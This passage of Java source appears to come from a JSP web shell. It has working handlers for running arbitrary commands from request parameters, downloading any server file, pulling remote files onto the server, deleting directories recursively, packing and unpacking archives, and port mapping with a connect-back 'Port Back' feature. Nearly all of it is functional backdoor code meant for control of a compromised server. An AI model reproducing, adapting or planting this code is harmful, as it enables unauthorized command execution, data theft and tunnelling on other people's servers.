  2350.                             out.println(Util.htmlEncode(Util.getStr(s)));
  2351.                             s = reader.readLine();
  2352.                         }
  2353.                         reader.close();
  2354.                         reader = new BufferedReader(new InputStreamReader(pro
  2355.                                 .getErrorStream()));
  2356.                         s = reader.readLine();
  2357.                         while (s != null) {
  2358.                             out.println(Util.htmlEncode(Util.getStr(s)));
  2359.                             s = reader.readLine();
  2360.                         }
  2361.                         reader.close();
  2362.                         out.println("</pre></div>");
  2363.                     }
  2364.                 } else {
  2365.                     String program = request.getParameter("program");
  2366.                     if (!Util.isEmpty(program)) {
  2367.                         Process pro = Runtime.getRuntime().exec(program);
  2368.                         JSession.setAttribute(MSG, "Program Has Run Success!");
  2369.                         ((Invoker) ins.get("vs")).invoke(request, response,
  2370.                                 JSession);
  2371.                     }
  2372.                 }
  2373.             } catch (Exception e) {
  2374.  
  2375.                 throw e;
  2376.             }
  2377.         }
  2378.     }
  2379.  
  2380.     private static class DownInvoker extends DefaultInvoker {
  2381.         public boolean doBefore() {
  2382.             return false;
  2383.         }
  2384.  
  2385.         public boolean doAfter() {
  2386.             return false;
  2387.         }
  2388.  
  2389.         public void invoke(HttpServletRequest request,
  2390.                 HttpServletResponse response, HttpSession JSession)
  2391.                 throws Exception {
  2392.             try {
  2393.                 String path = request.getParameter("path");
  2394.                 if (Util.isEmpty(path))
  2395.                     return;
  2396.                 InputStream i = null;
  2397.                 Object enter = JSession.getAttribute(ENTER);
  2398.                 String fileName = null;
  2399.                 if (enter == null) {
  2400.                     File f = new File(path);
  2401.                     if (!f.exists())
  2402.                         return;
  2403.                     fileName = f.getName();
  2404.                     i = new FileInputStream(f);
  2405.                 } else {
  2406.                     ZipFile zf = new ZipFile((String) enter);
  2407.                     ZipEntry entry = new ZipEntry(path);
  2408.                     fileName = entry.getName().substring(
  2409.                             entry.getName().lastIndexOf("/") + 1);
  2410.                     i = zf.getInputStream(entry);
  2411.                 }
  2412.                 response.setHeader("Content-Disposition",
  2413.                         "attachment;filename="
  2414.                                 + URLEncoder.encode(fileName, PAGE_CHARSET));
  2415.                 BufferedInputStream input = new BufferedInputStream(i);
  2416.                 BufferedOutputStream output = new BufferedOutputStream(response
  2417.                         .getOutputStream());
  2418.                 byte[] data = new byte[1024];
  2419.                 int len = input.read(data);
  2420.                 while (len != -1) {
  2421.                     output.write(data, 0, len);
  2422.                     len = input.read(data);
  2423.                 }
  2424.                 input.close();
  2425.                 output.close();
  2426.             } catch (Exception e) {
  2427.  
  2428.                 throw e;
  2429.             }
  2430.         }
  2431.     }
  2432.  
  2433.     //VDown
  2434.     private static class VdInvoker extends DefaultInvoker {
  2435.         public void invoke(HttpServletRequest request,
  2436.                 HttpServletResponse response, HttpSession JSession)
  2437.                 throws Exception {
  2438.             try {
  2439.                 PrintWriter out = response.getWriter();
  2440.                 String savepath = request.getParameter("savepath");
  2441.                 String url = request.getParameter("url");
  2442.                 if (Util.isEmpty(url))
  2443.                     url = "http://www.baidu.com/";
  2444.                 if (Util.isEmpty(savepath)) {
  2445.                     savepath = JSession.getAttribute(CURRENT_DIR).toString();
  2446.                 }
  2447.                 if (!Util.isEmpty(JSession.getAttribute("done"))) {
  2448.                     Util.outMsg(out, "Download Remote File Success!");
  2449.                     JSession.removeAttribute("done");
  2450.                 }
  2451.                 out
  2452.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2453.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2454.                                 + SHELL_NAME
  2455.                                 + "\" method=\"post\" >"
  2456.                                 + "<h2>Remote File DownLoad &raquo;</h2>"
  2457.                                 + "<p>"
  2458.                                 + "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"
  2459.                                 + "<p>File&nbsp;&nbsp;&nbsp;URL: "
  2460.                                 + "  <input class=\"input\" name=\"url\" value=\""
  2461.                                 + url
  2462.                                 + "\" id=\"url\" type=\"text\" size=\"200\"  /></p>"
  2463.                                 + "<p>Save Path: "
  2464.                                 + "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""
  2465.                                 + savepath
  2466.                                 + "\" type=\"text\" size=\"200\"  /></p>"
  2467.                                 + "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />"
  2468.                                 + "</p>" + "</form></table>");
  2469.             } catch (Exception e) {
  2470.  
  2471.                 throw e;
  2472.             }
  2473.         }
  2474.     }
  2475.  
  2476.     private static class DownRemoteInvoker extends DefaultInvoker {
  2477.         public boolean doBefore() {
  2478.             return true;
  2479.         }
  2480.  
  2481.         public boolean doAfter() {
  2482.             return true;
  2483.         }
  2484.  
  2485.         public void invoke(HttpServletRequest request,
  2486.                 HttpServletResponse response, HttpSession JSession)
  2487.                 throws Exception {
  2488.             try {
  2489.                 String downFileUrl = request.getParameter("url");
  2490.                 String savePath = request.getParameter("savepath");
  2491.                 if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  2492.                     return;
  2493.                 URL downUrl = new URL(downFileUrl);
  2494.                 URLConnection conn = downUrl.openConnection();
  2495.  
  2496.                 File tempF = new File(savePath);
  2497.                 File saveF = tempF;
  2498.                 if (tempF.isDirectory()) {
  2499.                     String fName = downFileUrl.substring(downFileUrl
  2500.                             .lastIndexOf("/") + 1);
  2501.                     saveF = new File(tempF, fName);
  2502.                 }
  2503.                 BufferedInputStream in = new BufferedInputStream(conn
  2504.                         .getInputStream());
  2505.                 BufferedOutputStream out = new BufferedOutputStream(
  2506.                         new FileOutputStream(saveF));
  2507.                 byte[] data = new byte[1024];
  2508.                 int len = in.read(data);
  2509.                 while (len != -1) {
  2510.                     out.write(data, 0, len);
  2511.                     len = in.read(data);
  2512.                 }
  2513.                 in.close();
  2514.                 out.close();
  2515.                 JSession.setAttribute("done", "d");
  2516.                 ((Invoker) ins.get("vd")).invoke(request, response, JSession);
  2517.             } catch (Exception e) {
  2518.  
  2519.                 throw e;
  2520.             }
  2521.         }
  2522.     }
  2523.  
  2524.     private static class IndexInvoker extends DefaultInvoker {
  2525.         public void invoke(HttpServletRequest request,
  2526.                 HttpServletResponse response, HttpSession JSession)
  2527.                 throws Exception {
  2528.             try {
  2529.                 ((Invoker) ins.get("filelist")).invoke(request, response,
  2530.                         JSession);
  2531.             } catch (Exception e) {
  2532.  
  2533.                 throw e;
  2534.             }
  2535.         }
  2536.     }
  2537.  
  2538.     private static class MkDirInvoker extends DefaultInvoker {
  2539.         public boolean doBefore() {
  2540.             return false;
  2541.         }
  2542.  
  2543.         public boolean doAfter() {
  2544.             return false;
  2545.         }
  2546.  
  2547.         public void invoke(HttpServletRequest request,
  2548.                 HttpServletResponse response, HttpSession JSession)
  2549.                 throws Exception {
  2550.             try {
  2551.                 String name = request.getParameter("name");
  2552.                 File f = new File(name);
  2553.                 if (!f.isAbsolute()) {
  2554.                     String path = JSession.getAttribute(CURRENT_DIR).toString();
  2555.                     if (!path.endsWith("/"))
  2556.                         path += "/";
  2557.                     path += name;
  2558.                     f = new File(path);
  2559.                 }
  2560.                 f.mkdirs();
  2561.                 JSession.setAttribute(MSG, "Make Directory Success!");
  2562.                 response.sendRedirect(SHELL_NAME);
  2563.             } catch (Exception e) {
  2564.  
  2565.                 throw e;
  2566.             }
  2567.         }
  2568.     }
  2569.  
  2570.     private static class MoveInvoker extends DefaultInvoker {
  2571.         public boolean doBefore() {
  2572.             return false;
  2573.         }
  2574.  
  2575.         public boolean doAfter() {
  2576.             return false;
  2577.         }
  2578.  
  2579.         public void invoke(HttpServletRequest request,
  2580.                 HttpServletResponse response, HttpSession JSession)
  2581.                 throws Exception {
  2582.             try {
  2583.                 PrintWriter out = response.getWriter();
  2584.                 String src = request.getParameter("src");
  2585.                 String target = request.getParameter("to");
  2586.                 if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  2587.                     File file = new File(src);
  2588.                     if (file.renameTo(new File(target))) {
  2589.                         JSession.setAttribute(MSG, "Move File Success!");
  2590.                     } else {
  2591.                         String msg = "Move File Failed!";
  2592.                         if (file.isDirectory()) {
  2593.                             msg += "The Move Will Failed When The Directory Is Not Empty.";
  2594.                         }
  2595.                         JSession.setAttribute(MSG, msg);
  2596.                     }
  2597.                     response.sendRedirect(SHELL_NAME);
  2598.                 }
  2599.             } catch (Exception e) {
  2600.  
  2601.                 throw e;
  2602.             }
  2603.         }
  2604.     }
  2605.  
  2606.     private static class RemoveDirInvoker extends DefaultInvoker {
  2607.         public boolean doBefore() {
  2608.             return false;
  2609.         }
  2610.  
  2611.         public boolean doAfter() {
  2612.             return false;
  2613.         }
  2614.  
  2615.         public void invoke(HttpServletRequest request,
  2616.                 HttpServletResponse response, HttpSession JSession)
  2617.                 throws Exception {
  2618.             try {
  2619.                 String dir = request.getParameter("dir");
  2620.                 File file = new File(dir);
  2621.                 if (file.exists()) {
  2622.                     deleteFile(file);
  2623.                     deleteDir(file);
  2624.                 }
  2625.  
  2626.                 JSession.setAttribute(MSG, "Remove Directory Success!");
  2627.                 response.sendRedirect(SHELL_NAME);
  2628.             } catch (Exception e) {
  2629.  
  2630.                 throw e;
  2631.             }
  2632.         }
  2633.  
  2634.         public void deleteFile(File f) {
  2635.             if (f.isFile()) {
  2636.                 f.delete();
  2637.             } else {
  2638.                 File[] list = f.listFiles();
  2639.                 for (int i = 0; i < list.length; i++) {
  2640.                     File ff = list[i];
  2641.                     deleteFile(ff);
  2642.                 }
  2643.             }
  2644.         }
  2645.  
  2646.         public void deleteDir(File f) {
  2647.             File[] list = f.listFiles();
  2648.             if (list.length == 0) {
  2649.                 f.delete();
  2650.             } else {
  2651.                 for (int i = 0; i < list.length; i++) {
  2652.                     File ff = list[i];
  2653.                     deleteDir(ff);
  2654.                 }
  2655.                 deleteDir(f);
  2656.             }
  2657.         }
  2658.     }
  2659.  
  2660.     private static class PackBatchInvoker extends DefaultInvoker {
  2661.         public boolean doBefore() {
  2662.             return false;
  2663.         }
  2664.  
  2665.         public boolean doAfter() {
  2666.             return false;
  2667.         }
  2668.  
  2669.         public void invoke(HttpServletRequest request,
  2670.                 HttpServletResponse response, HttpSession JSession)
  2671.                 throws Exception {
  2672.             try {
  2673.                 String files = request.getParameter("files");
  2674.                 if (Util.isEmpty(files))
  2675.                     return;
  2676.                 String saveFileName = request.getParameter("savefilename");
  2677.                 File saveF = new File(JSession.getAttribute(CURRENT_DIR)
  2678.                         .toString(), saveFileName);
  2679.                 if (saveF.exists()) {
  2680.                     JSession.setAttribute(MSG, "The File \"" + saveFileName
  2681.                             + "\" Has Been Exists!");
  2682.                     response.sendRedirect(SHELL_NAME);
  2683.                     return;
  2684.                 }
  2685.                 ZipOutputStream zout = new ZipOutputStream(
  2686.                         new BufferedOutputStream(new FileOutputStream(saveF)));
  2687.                 String[] arr = files.split(",");
  2688.                 for (int i = 0; i < arr.length; i++) {
  2689.                     String f = arr[i];
  2690.                     File pF = new File(JSession.getAttribute(CURRENT_DIR)
  2691.                             .toString(), f);
  2692.                     ZipEntry entry = new ZipEntry(pF.getName());
  2693.                     zout.putNextEntry(entry);
  2694.                     FileInputStream fInput = new FileInputStream(pF);
  2695.                     int len = 0;
  2696.                     byte[] buf = new byte[1024];
  2697.                     while ((len = fInput.read(buf)) != -1) {
  2698.                         zout.write(buf, 0, len);
  2699.                         zout.flush();
  2700.                     }
  2701.                     fInput.close();
  2702.                 }
  2703.                 zout.close();
  2704.                 JSession.setAttribute(MSG, "Pack Files Success!");
  2705.                 response.sendRedirect(SHELL_NAME);
  2706.             } catch (Exception e) {
  2707.  
  2708.                 throw e;
  2709.             }
  2710.         }
  2711.     }
  2712.  
  2713.     private static class VPackConfigInvoker extends DefaultInvoker {
  2714.         public void invoke(HttpServletRequest request,
  2715.                 HttpServletResponse response, HttpSession JSession)
  2716.                 throws Exception {
  2717.             try {
  2718.                 PrintWriter out = response.getWriter();
  2719.                 String packfile = request.getParameter("packedfile");
  2720.                 String currentd = JSession.getAttribute(CURRENT_DIR).toString();
  2721.                 out
  2722.                         .println("<form action='"
  2723.                                 + SHELL_NAME
  2724.                                 + "' method='post'>"
  2725.                                 + "<input type='hidden' name='o' value='pack'/>"
  2726.                                 + "<input type='hidden' name='config' value='true'/>"
  2727.                                 + "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  2728.                                 + "    <tr>"
  2729.                                 + "      <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"
  2730.                                 + "        <div id=\"hOWTm\">"
  2731.                                 + "          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  2732.                                 + "            <tr align=\"center\">"
  2733.                                 + "              <td style=\"width:5%\"></td>"
  2734.                                 + "              <td  align=\"center\"><table border=\"0\">"
  2735.                                 + "                <tr>"
  2736.                                 + "                  <td>Packed Dir</td>"
  2737.                                 + "                  <td><input type=\"text\" name=\"packedfile\" size='100' value=\""
  2738.                                 + packfile
  2739.                                 + "\" class=\"input\"/></td>"
  2740.                                 + "                </tr>"
  2741.                                 + "                <tr>"
  2742.                                 + "                  <td>Save To</td>"
  2743.                                 + "                  <td><input type=\"text\" name=\"savefilename\" size='100' value=\""
  2744.                                 + ((currentd.endsWith("/") ? currentd
  2745.                                         : currentd + "/") + "pack.zip")
  2746.                                 + "\" class=\"input\"/></td>"
  2747.                                 + "                </tr>"
  2748.                                 + "                <tr>"
  2749.                                 + "                  <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"
  2750.                                 + "                    <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"
  2751.                                 + "                    <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"
  2752.                                 + "                    </fieldset></td>"
  2753.                                 + "                  </tr>"
  2754.                                 + "                <tr>"
  2755.                                 + "                  <td>Filesize Filter</td>"
  2756.                                 + "                  <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "
  2757.                                 + "                    <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"
  2758.                                 + "                </tr>"
  2759.                                 + "                <tr>"
  2760.                                 + "                  <td>Exclude Dir</td>"
  2761.                                 + "                  <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"
  2762.                                 + "                </tr>"
  2763.                                 + "              </table></td>"
  2764.                                 + "            </tr>"
  2765.                                 + "            <tr align=\"center\">"
  2766.                                 + "              <td colspan=\"2\">"
  2767.                                 + "                <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"
  2768.                                 + "              </td>" + "            </tr>"
  2769.                                 + "          </table>" + "        </div></td>"
  2770.                                 + "    </tr>" + "  </table></form>");
  2771.             } catch (Exception e) {
  2772.  
  2773.                 throw e;
  2774.             }
  2775.         }
  2776.     }
  2777.  
  2778.     private static class PackInvoker extends DefaultInvoker {
  2779.         public boolean doBefore() {
  2780.             return false;
  2781.         }
  2782.  
  2783.         public boolean doAfter() {
  2784.             return false;
  2785.         }
  2786.  
  2787.         private boolean config = false;
  2788.         private String extFilter = "blacklist";
  2789.         private String[] fileExts = null;
  2790.         private String sizeFilter = "no";
  2791.         private int filesize = 0;
  2792.         private String[] exclude = null;
  2793.         private String packFile = null;
  2794.  
  2795.         private void reset() {
  2796.             this.config = false;
  2797.             this.extFilter = "blacklist";
  2798.             this.fileExts = null;
  2799.             this.sizeFilter = "no";
  2800.             this.filesize = 0;
  2801.             this.exclude = null;
  2802.             this.packFile = null;
  2803.         }
  2804.  
  2805.         public void invoke(HttpServletRequest request,
  2806.                 HttpServletResponse response, HttpSession JSession)
  2807.                 throws Exception {
  2808.             try {
  2809.                 String config = request.getParameter("config");
  2810.                 if (!Util.isEmpty(config) && config.equals("true")) {
  2811.                     this.config = true;
  2812.                     this.extFilter = request.getParameter("extfilter");
  2813.                     this.fileExts = request.getParameter("fileext").split(",");
  2814.                     this.sizeFilter = request.getParameter("sizefilter");
  2815.                     this.filesize = Integer.parseInt(request
  2816.                             .getParameter("filesize"));
  2817.                     this.exclude = request.getParameter("exclude").split(",");
  2818.                 }
  2819.                 String packedFile = request.getParameter("packedfile");
  2820.                 if (Util.isEmpty(packedFile))
  2821.                     return;
  2822.                 this.packFile = packedFile;
  2823.                 String saveFileName = request.getParameter("savefilename");
  2824.                 File saveF = null;
  2825.                 if (this.config)
  2826.                     saveF = new File(saveFileName);
  2827.                 else
  2828.                     saveF = new File(JSession.getAttribute(CURRENT_DIR)
  2829.                             .toString(), saveFileName);
  2830.                 if (saveF.exists()) {
  2831.                     JSession.setAttribute(MSG, "The File \"" + saveFileName
  2832.                             + "\" Has Been Exists!");
  2833.                     response.sendRedirect(SHELL_NAME);
  2834.                     return;
  2835.                 }
  2836.                 File pF = new File(packedFile);
  2837.                 ZipOutputStream zout = null;
  2838.                 String base = "";
  2839.                 if (pF.isDirectory()) {
  2840.                     if (pF.listFiles().length == 0) {
  2841.                         JSession
  2842.                                 .setAttribute(MSG,
  2843.                                         "No File To Pack ! Maybe The Directory Is Empty .");
  2844.                         response.sendRedirect(SHELL_NAME);
  2845.                         this.reset();
  2846.                         return;
  2847.                     }
  2848.                     zout = new ZipOutputStream(new BufferedOutputStream(
  2849.                             new FileOutputStream(saveF)));
  2850.                     zipDir(pF, base, zout);
  2851.                 } else {
  2852.                     zout = new ZipOutputStream(new BufferedOutputStream(
  2853.                             new FileOutputStream(saveF)));
  2854.                     zipFile(pF, base, zout);
  2855.                 }
  2856.                 zout.close();
  2857.                 this.reset();
  2858.                 JSession.setAttribute(MSG, "Pack File Success!");
  2859.                 response.sendRedirect(SHELL_NAME);
  2860.             } catch (Exception e) {
  2861.                 throw e;
  2862.             }
  2863.         }
  2864.  
  2865.         public void zipDir(File f, String base, ZipOutputStream zout)
  2866.                 throws Exception {
  2867.             if (f.isDirectory()) {
  2868.                 if (this.config) {
  2869.                     String curName = f.getAbsolutePath().replace('\\', '/');
  2870.                     curName = curName.replaceAll("\\Q" + this.packFile + "\\E",
  2871.                             "");
  2872.                     if (this.exclude != null) {
  2873.                         for (int i = 0; i < exclude.length; i++) {
  2874.                             if (!Util.isEmpty(exclude[i])
  2875.                                     && curName.startsWith(exclude[i])) {
  2876.                                 return;
  2877.                             }
  2878.                         }
  2879.                     }
  2880.                 }
  2881.                 File[] arr = f.listFiles();
  2882.                 for (int i = 0; i < arr.length; i++) {
  2883.                     File ff = arr[i];
  2884.                     String tmpBase = base;
  2885.                     if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2886.                         tmpBase += "/";
  2887.                     zipDir(ff, tmpBase + f.getName(), zout);
  2888.                 }
  2889.             } else {
  2890.                 String tmpBase = base;
  2891.                 if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2892.                     tmpBase += "/";
  2893.                 zipFile(f, tmpBase, zout);
  2894.             }
  2895.  
  2896.         }
  2897.  
  2898.         public void zipFile(File f, String base, ZipOutputStream zout)
  2899.                 throws Exception {
  2900.             if (this.config) {
  2901.                 String ext = f.getName().substring(
  2902.                         f.getName().lastIndexOf('.') + 1);
  2903.                 if (this.extFilter.equals("blacklist")) {
  2904.                     if (Util.exists(this.fileExts, ext)) {
  2905.                         return;
  2906.                     }
  2907.                 } else if (this.extFilter.equals("whitelist")) {
  2908.                     if (!Util.exists(this.fileExts, ext)) {
  2909.                         return;
  2910.                     }
  2911.                 }
  2912.                 if (!this.sizeFilter.equals("no")) {
  2913.                     double size = f.length() / 1024;
  2914.                     if (this.sizeFilter.equals("greaterthan")) {
  2915.                         if (size < filesize)
  2916.                             return;
  2917.                     } else if (this.sizeFilter.equals("lessthan")) {
  2918.                         if (size > filesize)
  2919.                             return;
  2920.                     }
  2921.                 }
  2922.             }
  2923.             ZipEntry entry = new ZipEntry(base + f.getName());
  2924.             zout.putNextEntry(entry);
  2925.             FileInputStream fInput = new FileInputStream(f);
  2926.             int len = 0;
  2927.             byte[] buf = new byte[1024];
  2928.             while ((len = fInput.read(buf)) != -1) {
  2929.                 zout.write(buf, 0, len);
  2930.                 zout.flush();
  2931.             }
  2932.             fInput.close();
  2933.         }
  2934.     }
  2935.  
  2936.     private static class UnPackInvoker extends DefaultInvoker {
  2937.         public boolean doBefore() {
  2938.             return false;
  2939.         }
  2940.  
  2941.         public boolean doAfter() {
  2942.             return false;
  2943.         }
  2944.  
  2945.         public void invoke(HttpServletRequest request,
  2946.                 HttpServletResponse response, HttpSession JSession)
  2947.                 throws Exception {
  2948.             try {
  2949.                 String savepath = request.getParameter("savepath");
  2950.                 String zipfile = request.getParameter("zipfile");
  2951.                 if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  2952.                     return;
  2953.                 File save = new File(savepath);
  2954.                 save.mkdirs();
  2955.                 ZipFile file = new ZipFile(new File(zipfile));
  2956.                 Enumeration e = file.entries();
  2957.                 while (e.hasMoreElements()) {
  2958.                     ZipEntry en = (ZipEntry) e.nextElement();
  2959.                     String entryPath = en.getName();
  2960.                     int index = entryPath.lastIndexOf("/");
  2961.                     if (index != -1)
  2962.                         entryPath = entryPath.substring(0, index);
  2963.                     File absEntryFile = new File(save, entryPath);
  2964.                     if (!absEntryFile.exists()
  2965.                             && (en.isDirectory() || en.getName().indexOf("/") != -1))
  2966.                         absEntryFile.mkdirs();
  2967.                     BufferedOutputStream output = null;
  2968.                     BufferedInputStream input = null;
  2969.                     try {
  2970.                         output = new BufferedOutputStream(new FileOutputStream(
  2971.                                 new File(save, en.getName())));
  2972.                         input = new BufferedInputStream(file.getInputStream(en));
  2973.                         byte[] b = new byte[1024];
  2974.                         int len = input.read(b);
  2975.                         while (len != -1) {
  2976.                             output.write(b, 0, len);
  2977.                             len = input.read(b);
  2978.                         }
  2979.                     } catch (Exception ex) {
  2980.                     } finally {
  2981.                         try {
  2982.                             if (output != null)
  2983.                                 output.close();
  2984.                             if (input != null)
  2985.                                 input.close();
  2986.                         } catch (Exception ex1) {
  2987.                         }
  2988.                     }
  2989.                 }
  2990.                 file.close();
  2991.                 JSession.setAttribute(MSG, "UnPack File Success!");
  2992.                 response.sendRedirect(SHELL_NAME);
  2993.             } catch (Exception e) {
  2994.  
  2995.                 throw e;
  2996.             }
  2997.         }
  2998.     }
  2999.  
  3000.     //VMapPort
  3001.     private static class VmpInvoker extends DefaultInvoker {
  3002.         public void invoke(HttpServletRequest request,
  3003.                 HttpServletResponse response, HttpSession JSession)
  3004.                 throws Exception {
  3005.             try {
  3006.                 PrintWriter out = response.getWriter();
  3007.                 Object localIP = JSession.getAttribute("localIP");
  3008.                 Object localPort = JSession.getAttribute("localPort");
  3009.                 Object remoteIP = JSession.getAttribute("remoteIP");
  3010.                 Object remotePort = JSession.getAttribute("remotePort");
  3011.                 Object done = JSession.getAttribute("done");
  3012.  
  3013.                 JSession.removeAttribute("localIP");
  3014.                 JSession.removeAttribute("localPort");
  3015.                 JSession.removeAttribute("remoteIP");
  3016.                 JSession.removeAttribute("remotePort");
  3017.                 JSession.removeAttribute("done");
  3018.  
  3019.                 if (Util.isEmpty(localIP))
  3020.                     localIP = InetAddress.getLocalHost().getHostAddress();
  3021.                 if (Util.isEmpty(localPort))
  3022.                     localPort = "3389";
  3023.                 if (Util.isEmpty(remoteIP))
  3024.                     remoteIP = "www.baidu.com";
  3025.                 if (Util.isEmpty(remotePort))
  3026.                     remotePort = "80";
  3027.                 if (!Util.isEmpty(done))
  3028.                     Util.outMsg(out, done.toString());
  3029.  
  3030.                 out
  3031.                         .println("<form action=\""
  3032.                                 + SHELL_NAME
  3033.                                 + "\" method=\"post\">"
  3034.                                 + "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"
  3035.                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3036.                                 + "  <tr>"
  3037.                                 + "    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"
  3038.                                 + "      <div id=\"hOWTm\">"
  3039.                                 + "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3040.                                 + "      <tr align=\"center\">"
  3041.                                 + "        <td style=\"width:5%\"></td>"
  3042.                                 + "        <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"
  3043.                                 + "          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3044.                                 + localIP
  3045.                                 + "\" />"
  3046.                                 + "          </td>"
  3047.                                 + "        <td style=\"width:20%\" align=\"left\">Local Port :"
  3048.                                 + "          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3049.                                 + localPort
  3050.                                 + "\" /></td>"
  3051.                                 + "        <td style=\"width:20%\" align=\"left\">Remote Ip :"
  3052.                                 + "          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3053.                                 + remoteIP
  3054.                                 + "\" /></td>"
  3055.                                 + "        <td style=\"width:20%\" align=\"left\">Remote Port :"
  3056.                                 + "          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3057.                                 + remotePort
  3058.                                 + "\" /></td>"
  3059.                                 + "      </tr>"
  3060.                                 + "      <tr align=\"center\">"
  3061.                                 + "        <td colspan=\"5\"><br/>"
  3062.                                 + "          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"
  3063.                                 + "            <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"
  3064.                                 + SHELL_NAME + "?o=smp'\" class=\"bt\" />"
  3065.                                 + "    </td>" + "    </tr>" + "    </table>"
  3066.                                 + "    </div>" + "</td>" + "</tr>" + "</table>"
  3067.                                 + "</form>");
  3068.                 String targetIP = request.getParameter("targetIP");
  3069.                 String targetPort = request.getParameter("targetPort");
  3070.                 String yourIP = request.getParameter("yourIP");
  3071.                 String yourPort = request.getParameter("yourPort");
  3072.                 if (Util.isEmpty(targetIP))
  3073.                     targetIP = "127.0.0.1";
  3074.                 if (Util.isEmpty(targetPort))
  3075.                     targetPort = "3389";
  3076.                 if (Util.isEmpty(yourIP))
  3077.                     yourIP = request.getRemoteAddr();
  3078.                 if (Util.isEmpty(yourPort))
  3079.                     yourPort = "1234";
  3080.                 out
  3081.                         .println("<form action=\""
  3082.                                 + SHELL_NAME
  3083.                                 + "\" method=\"post\">"
  3084.                                 + "<input type=\"hidden\" name=\"o\" value=\"portBack\">"
  3085.                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3086.                                 + "  <tr>"
  3087.                                 + "    <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"
  3088.                                 + "      <div id=\"hOWTm\">"
  3089.                                 + "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3090.                                 + "      <tr align=\"center\">"
  3091.                                 + "        <td style=\"width:5%\"></td>"
  3092.                                 + "        <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"
  3093.                                 + "          <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3094.                                 + targetIP
  3095.                                 + "\" />"
  3096.                                 + "          </td>"
  3097.                                 + "        <td style=\"width:20%\" align=\"left\">Target Port :"
  3098.                                 + "          <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3099.                                 + targetPort
  3100.                                 + "\" /></td>"
  3101.                                 + "        <td style=\"width:20%\" align=\"left\">Your Ip :"
  3102.                                 + "          <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3103.                                 + yourIP
  3104.                                 + "\" /></td>"
  3105.                                 + "        <td style=\"width:20%\" align=\"left\">Your Port :"
  3106.                                 + "          <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3107.                                 + yourPort
  3108.                                 + "\" /></td>"
  3109.                                 + "      </tr>"
  3110.                                 + "      <tr align=\"center\">"
  3111.                                 + "        <td colspan=\"5\"><br/>"
  3112.                                 + "          <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"
  3113.                                 + "    </td>" + "    </tr>" + "    </table>"
  3114.                                 + "    </div>" + "</td>" + "</tr>" + "</table>"
  3115.                                 + "</form>");
  3116.             } catch (Exception e) {
  3117.  
  3118.                 throw e;
  3119.             }
  3120.         }
  3121.     }
  3122.  
  3123.     //StopMapPort
  3124.     private static class SmpInvoker extends DefaultInvoker {
  3125.         public boolean doAfter() {
  3126.             return true;
  3127.         }
  3128.  
  3129.         public boolean doBefore() {
  3130.             return true;
  3131.         }
  3132.  
  3133.         public void invoke(HttpServletRequest request,
  3134.                 HttpServletResponse response, HttpSession JSession)
  3135.                 throws Exception {
  3136.             try {
  3137.                 Object obj = JSession.getAttribute(PORT_MAP);
  3138.                 if (obj != null) {
  3139.                     ServerSocket server = (ServerSocket) JSession
  3140.                             .getAttribute(PORT_MAP);
  3141.                     server.close();
  3142.                 }
  3143.                 JSession.setAttribute("done", "Stop Success!");
  3144.                 ((Invoker) ins.get("vmp")).invoke(request, response, JSession);
  3145.             } catch (Exception e) {
  3146.  
  3147.                 throw e;
  3148.             }
  3149.         }
  3150.     }
  3151.  
  3152.     //PortBack
  3153.     private static class PortBackInvoker extends DefaultInvoker {
  3154.         public boolean doAfter() {
  3155.             return true;
  3156.         }
